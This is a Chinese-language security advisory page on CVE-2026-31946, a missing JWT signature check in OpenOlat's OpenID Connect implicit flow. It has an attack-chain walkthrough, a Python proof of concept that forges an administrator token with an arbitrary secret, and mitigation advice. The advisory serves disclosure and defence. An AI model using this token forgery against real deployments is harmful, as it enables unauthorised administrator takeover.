IPBUF安全漏洞报告
English
CVE-2026-31946 CVSS 9.8 严重

CVE-2026-31946 OpenOlat JWT签名验证缺失漏洞

披露日期: 2026-03-30

漏洞信息

漏洞编号
CVE-2026-31946
漏洞类型
认证绕过
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
OpenOlat

相关标签

认证绕过JWT伪造OpenOlatOIDC严重漏洞RCE

漏洞概述

OpenOlat是一款开源Web电子学习平台。在10.5.4至20.2.5之前的版本中,其OpenID Connect隐式流实现存在严重安全缺陷。系统未对JWT令牌进行签名验证,导致攻击者可伪造任意令牌绕过身份认证。该漏洞CVSS评分为9.8,允许无需用户交互即可远程接管系统,严重威胁数据机密性、完整性和可用性。

技术细节

该漏洞的核心在于OpenOlat对OpenID Connect隐式流的处理逻辑存在缺陷。受影响版本中,`OpenIdConnectApi`和`OpenIdConnectFullConfigurableApi`类的`getAccessToken()`方法仅校验了令牌中的声明字段(如issuer、audience、state、nonce),而未对Identity Provider的JWKS端点进行加密签名验证。此外,底层的`JSONWebToken.parse()`方法在解析紧凑型JWT时,会静默丢弃签名段。攻击者利用此漏洞,无需知道IdP私钥,只需构造包含合法声明的恶意JWT即可伪造任意用户身份,从而非法登录系统并获取敏感权限。

攻击链分析

STEP 1
1. 侦察
攻击者识别出目标系统使用的是OpenOlat平台,且版本位于受影响范围内(10.5.4至20.2.5之前)。
STEP 2
2. 分析配置
攻击者确认目标启用了OpenID Connect隐式流,并获取了客户端配置信息(如Client ID, Issuer等)。
STEP 3
3. 构造恶意令牌
攻击者利用漏洞,使用任意密钥(或无签名)构造一个JWT令牌,将sub字段修改为目标管理员账号,并填充合法的iss和aud声明。
STEP 4
4. 发起认证请求
攻击者将伪造的JWT放入Authorization头中,向OpenOlat的认证接口发送请求。
STEP 5
5. 绕过验证
后端`getAccessToken()`方法仅检查声明字段,`JSONWebToken.parse()`丢弃签名,导致恶意令牌通过验证。
STEP 6
6. 获取权限
攻击者成功以管理员身份登录系统,获取完全控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import jwt import requests # Target configuration target_url = "https://target-openolat-url/openolat/auth/..." issuer = "https://trusted-identity-provider.com" audience = "client_id_value" # 1. Construct a malicious JWT payload # The attacker sets the 'sub' (subject) to the target user (e.g., admin) payload = { "sub": "admin", "iss": issuer, "aud": audience, "exp": 9999999999, "iat": 1600000000, "nonce": "valid_nonce_value" } # 2. Generate a token # Since the server discards the signature, the secret key is irrelevant. # We use a dummy secret here. secret = "any_random_string" malicious_token = jwt.encode(payload, secret, algorithm="HS256") # 3. Send the request using the forged token headers = { "Authorization": f"Bearer {malicious_token}", "Content-Type": "application/json" } response = requests.get(target_url, headers=headers) if response.status_code == 200: print("[+] Authentication bypass successful!") print(f"[+] Response: {response.text}") else: print("[-] Exploit failed or endpoint changed.")

影响范围

OpenOlat >= 10.5.4, < 20.2.5

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用OpenID Connect隐式流认证模式,或者在网络层阻断对受影响端口的非信任来源访问。同时,应加强对应用日志的审计,检测是否存在异常的用户登录行为或包含无效签名的JWT令牌请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表